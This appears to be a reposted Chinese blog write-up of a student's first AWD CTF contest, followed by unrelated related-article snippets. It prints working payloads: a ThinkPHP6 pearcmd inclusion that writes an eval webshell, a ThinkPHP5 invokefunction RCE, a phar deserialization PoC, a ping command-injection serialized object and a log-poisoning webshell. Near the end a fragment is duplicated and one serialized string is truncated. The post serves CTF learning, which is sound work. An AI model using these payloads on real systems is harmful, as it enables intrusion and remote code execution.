记录复现一下第一次awd

news2025/6/8 18:44:49

前言

之前没打过awd,这次学长组织了一场awd娱乐赛,两个web一个pwn,还有一个黑盒,只会web,第一次啥也不会瞎打,被打烂了,不会写脚本,手交flag的感觉真“不错”,感觉awd还是比ctf好多了(虽然啥也不会),浅浅复现一下

黑盒

tp6的洞

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['a']);?>+/a.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tEgEXnu4-1675951929940)(第一次awd记录.assets/image-20230209220852793.png)]

web2

后门

拿到源码直接用D盾扫一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g0K66AC9-1675951929941)(第一次awd记录.assets/image-20230209204253007.png)]

发现一句话木马,直接访问rce即可

直接删除一句话木马即可

thinkphp5的rce漏洞

https://vulners.com/cve/CVE-2019-9082

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

逻辑漏洞

在admin的index.php中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1aohmwLD-1675951929942)(第一次awd记录.assets/image-20230209210426024.png)]

可以包含输出/flag,并且继承了Base

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fwixj7Ng-1675951929942)(第一次awd记录.assets/image-20230209210503296.png)]

cookie中的csrf_token等于md5('QLNU'),就可以绕过

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lQdJoj21-1675951929943)(第一次awd记录.assets/image-20230209210852038.png)]

phar反序列化

题目首页有个文件上传的接口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bxbphgab-1675951929943)(第一次awd记录.assets/image-20230209211202182.png)]

正常传入的php会显示上传文件MIME类型不允许!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TpvFLYZT-1675951929943)(第一次awd记录.assets/image-20230209211245252.png)]

看一下源码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JW3kEt1M-1675951929944)(第一次awd记录.assets/image-20230209212604496.png)]

upload这里有很多过滤比赛的时候也饶了好久没绕过去,完事看wp才知道是phar反序列化

看一些继承的Base

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L9TRm04w-1675951929944)(第一次awd记录.assets/image-20230209212752288.png)]

很明显的一个__destruct()魔法函数,里面有个一eval函数可以rce,而__destruct()在对象销毁时才会触发,后面有一个file_exists读文件,可以想到Phar反序列化,学长说环境不行也没打,直接放poc

<?php
class Core{
    public $data='system("cat /f*");';
    function  __wakeup(){
        echo $this->data;
    }

}
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new Core;
$phar -> setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

web3

后门

还是用D盾扫

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZDTptkA1-1675951929944)(第一次awd记录.assets/image-20230209213326017.png)]

删除即可

日志包含

上来文件就可以看到一个log.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uSuqIZ82-1675951929945)(第一次awd记录.assets/image-20230209213538053.png)]

里面啥也没有,去访问一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kwgIy0VM-1675951929945)(第一次awd记录.assets/image-20230209213637374.png)]

可以看到包含了很多我们的操作,很容易可以想到随便一个地方,写一个一句话木马,就可以包含到log.php就可以getshell了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CcWpUPsi-1675951929945)(第一次awd记录.assets/image-20230209214337691.png)]

登录一下木马就包含到log.php中了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A494IE7t-1675951929946)(第一次awd记录.assets/image-20230209214408738.png)]

万能密码

在这里插入图片描述

可以直接登录网站后台

ping命令执行

在user.php中的ping,可以用管道来getflag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wvBSuPy6-1675951929946)(第一次awd记录.assets/image-20230209214824260.png)]

index.php中的$c值在function.php中代表了文件名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OYUX8IAo-1675951929947)(第一次awd记录.assets/image-20230209215227344.png)]

然后index.php中的run_a($obj,$a);在function.php运行了在$obj中的方法,$a代表方法名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ba7D9vZ0-1675951929947)(第一次awd记录.assets/image-20230209215250673.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zZ19FcqM-1675951929947)(第一次awd记录.assets/image-20230209215416047.png)]

文件上传

用万能密码登录以后,可以看到有一个文件上传接口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IOPRde7e-1675951929947)(第一次awd记录.assets/image-20230209215543983.png)]

随便上传一个php文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YtN1yf1j-1675951929948)(第一次awd记录.assets/image-20230209215608210.png)]

error了,用大小写绕过

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-We7ZpkO2-1675951929948)(第一次awd记录.assets/image-20230209215637128.png)]

可以看到可以上传成功但解析失败,环境问题

反序列化

在/common/home.php中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pvkytdBt-1675951929948)(第一次awd记录.assets/image-20230209215802040.png)]

比较明显的一个反序列化,也是利用ping直接构造

<?php

class home{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        
      
        $this->method = $method;
        $this->args = $args;
    }   
}
$a=new home("ping",array("127.0.0.1|ls"));
echo base64_encode(serialize($a));
?>

反序列化二

在/common/calcf.php中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S7hl48k1-1675951929949)(第一次awd记录.assets/image-20230209220135057.png)]

也是比较明显的反序列化点,

!](https://img-blog.csdnimg.cn/09daba5f3df14983a9494b11411ac406.png)

可以看到这里有一个__wakeup,可以向log.php写入文件,写一个一句话木马即可

<?php
class chybeta{
    var $test='<?php @eval($_POST[a]); ?>';
}
$a=new chybeta();
echo serialize($a);

//O:7:"chybeta":1:{s:4:"test";s:26:"";}

_wakeup`,可以向log.php写入文件,写一个一句话木马即可

<?php
class chybeta{
    var $test='<?php @eval($_POST[a]); ?>';
}
$a=new chybeta();
echo serialize($a);

//O:7:"chybeta":1:{s:4:"test";s:26:"";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/334431.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NetIQ 高级认证框架

NetIQ 高级认证框架 NetIQ Advanced Authentication 提供无密码身份验证并提升安全访问&#xff0c;以满足这个可扩展的基于标准的身份验证框架的合规要求。 优点 1、灵活性不仅仅在于方法。平台和应用程序支持至关重要。将安全范围扩展到您的所有系统。 2、通过一套适合…

大数据技术之Hadoop(生产调优手册)

第1章 HDFS—核心参数 1.1 NameNode内存生产配置 1&#xff09;NameNode内存计算 每个文件块大概占用150byte&#xff0c;一台服务器128G内存为例&#xff0c;能存储多少文件块呢&#xff1f; 128 * 1024 * 1024 * 1024 / 150Byte ≈ 9.1亿 G MB KB Byte 2&#xff09;Hadoop…

百度笔记聚合怎么写

百度笔记聚合怎么写&#xff0c;#百度笔记聚合&#xff0c;#百度笔记优化&#xff0c;#百度笔记排名 小红书笔记收录大揭秘什么是笔记被收录&#xff1f; 你将你的笔记的标题复制&#xff0c;去搜索框搜索&#xff0c;如果能搜索到你的笔记出来&#xff0c;那就是被收录了。什…

C语言学习笔记-文件读写

C 文件读写 什么是文件&#xff1f; 文件是以计算机硬盘为载体存储在计算机上的信息集合。是数据源的一种&#xff0c;最主要的作用是保存数据。在程序设计中&#xff0c;我们可将文件分为两大类&#xff1a;程序文件和数据文件 &#xff08;1&#xff09;程序文件 包括源程…

浅谈前端安全和浏览器安全策略

前端安全 XSS(跨站脚本攻击) Cross-Site Scripting&#xff08;跨站脚本攻击&#xff09;简称 XSS&#xff0c;是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本&#xff0c;使之在用户的浏览器上运行。利用这些恶意脚本&#xff0c;攻击者可获取用户的敏感信息如 Co…

208:vue+openlayers 监听瓦片地图加载情况,200、403及其他状态码的处理示例

第208个 点击查看专栏目录 本示例的目的是介绍如何在vue+openlayer中加载XYZ地图,在load瓦片时,通过XMLHttpRequest进行捕捉,监听瓦片地址的loadend事件,针对不同的状态码,给出不同的处理结果。具体的方法参看源代码。 直接复制下面的 vue+openlayers源代码,操作2分钟即…

Conda安装到虚拟环境中的包在pycharm中不显示--pip下载的包都到了base环境中-Ubuntu20.04

问题 今天刚装了一个Ubuntu20.04系统&#xff0c;安装完Anaconda&#xff0c;虚拟环境的包也都下载好了&#xff0c;结果在pycharm中配置完解释器后&#xff0c;只有几个基础的包&#xff0c;切换到base环境后发现&#xff0c;这些包都被下载到了base环境中。 在网上查了各种…

《小猫猫大课堂》三轮5——动态内存管理(通讯录动态内存化)

宝子&#xff0c;你不点个赞吗&#xff1f;不评个论吗&#xff1f;不收个藏吗&#xff1f; 最后的最后&#xff0c;关注我&#xff0c;关注我&#xff0c;关注我&#xff0c;你会看到更多有趣的博客哦&#xff01;&#xff01;&#xff01; 喵喵喵&#xff0c;你对我真的很重…

seata分布式事务之AT模式实践代码

seata框架 AT模式&#xff1a; 先添加seata需要的数据库相关表&#xff0c;AT模式需要在每个业务所属库下建undo_log表&#xff0c;用来回滚的&#xff0c;出错seata就会从这个表生成反向sql回退数据 建表语句&#xff1a; SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS 0; -…

持续集成Jenkins (四)Jenkins+git+maven项目构建、自动化部署

GIT配置1.1 前言&#xff1a;需要安装 git 客户端.yum install git1.2 Jenkins 配置插件 Git 在仪表盘选择Manage Jenkins>>Plugin Manager>>进入如下页面&#xff0c;可以选择可选的插件&#xff0c;安装完成后的插件在installed里面可以看到&#xff0c;我这里已…

DataFrame与Spark SQL的由来

文章目录DataFrame与Spark SQL的由来RDD 之殇&#xff1a;优化空间受限DataFrame 横空出世幕后英雄&#xff1a;Spark SQL基于 DataFrame&#xff0c;Spark SQL 是如何进行优化的Catalyst 优化器TungstenDataFrame与Spark SQL的由来 Spark 已经有了 RDD 这个开发入口&#xff…

市场最快图表:LightningChart .NET v.10.4.1 Crack

LightningChart .NET v.10.4.1 已经发布&#xff01; 新功能、新自定义控件和性能改进 DataCursor&#xff1a;图表中自动数据跟踪的新功能。 在以前的版本中&#xff0c;LightningChart .NET 提供了不同的工具来实现数据跟踪功能&#xff0c;但是这些需要用户进行一些额外的编…

Python-第一天 安装Python和PyCharm

Python-第一天 安装Python和PyCharm一、安装Python1. 下载2. 安装3.验证是否安装成功二、安装和配置PyCharm工具1.下载2.安装3.创建工程4.配置4.1 修改主题4.2 修改默认字体和大小4.3 通过快捷键快速设置字体大小4.4 汉化软件4.5 其它插件4.6 常用快捷建一、安装Python 1. 下载…

计算机图形学02:中点BH算法绘制直线

作者&#xff1a;非妃是公主 专栏&#xff1a;《计算机图形学》 博客地址&#xff1a;https://blog.csdn.net/myf_666 个性签&#xff1a;顺境不惰&#xff0c;逆境不馁&#xff0c;以心制境&#xff0c;万事可成。——曾国藩 文章目录专栏推荐专栏系列文章序一、算法原理二、缺…

计算机科学基础知识第二节讲义

课程链接 运行环境&#xff1a;WSL Ubuntu OMZ终端 PS&#xff1a;看到老师终端具有高亮和自动补全功能&#xff0c;我连夜肝出oh-my-zsh安装教程&#xff0c;实现了此功能。 这节课主要讲变量的语法、控制流程、shell功能等内容。 修改终端用户名&#xff0c;输入密码后重启…

全国青少年编程等级考试scratch三级真题2022年9月(含题库答题软件账号)

青少年编程等级考试scratch真题答题考试系统请点击电子学会-全国青少年编程等级考试真题Scratch一级&#xff08;2019年3月&#xff09;在线答题_程序猿下山的博客-CSDN博客_小航答题助手1运行下列程序后&#xff0c;结果为120的是&#xff1f;&#xff08; &#xff09;A.B.C…

英语学习:每日翻译

World in a dish盘中知世界 1 How to eat to 100 如何吃到100岁 2 Dan Buettner’s book explores America’s healthiest cuisines 丹比特纳的书探索了美国最健康的美食 注意&#xff1a; 1 cuisines 美食3 Nearly 70% of American adults are overweight; over a thir…

python接口自动化(十)--post请求四种传送正文方式(详解)

简介 post请求我在python接口自动化&#xff08;八&#xff09;--发送post请求的接口&#xff08;详解&#xff09;已经讲过一部分了&#xff0c;主要是发送一些较长的数据&#xff0c;还有就是数据比较安全等。我们要知道post请求四种传送正文方式首先需要先了解一下常见的四种…

游戏服务器性能测试分析实战

今天遇到一个性能压测的问题&#xff0c;也是很多同学做游戏服务器开发经常会遇到的&#xff0c;今天记录一下分享给大家。 性能压测遇到的问题 对啦&#xff01;这里有个游戏开发交流小组里面聚集了一帮热爱学习游戏的零基础小白&#xff0c;也有一些正在从事游戏开发的技术大…

Prometheus node_exporter 部署

Prometheus node_exporter 安装包下载 Prometheus 官网下载地址 包含Prometheus软件及各种exporter插件 node_exporter1.4.0安装包 解压安装 tar -xvf node_exporter-1.4.0.linux-amd64.tar.gz注册服务 可参考 linux 自定义服务 vi /etc/init.d/promethues#!/bin/bash …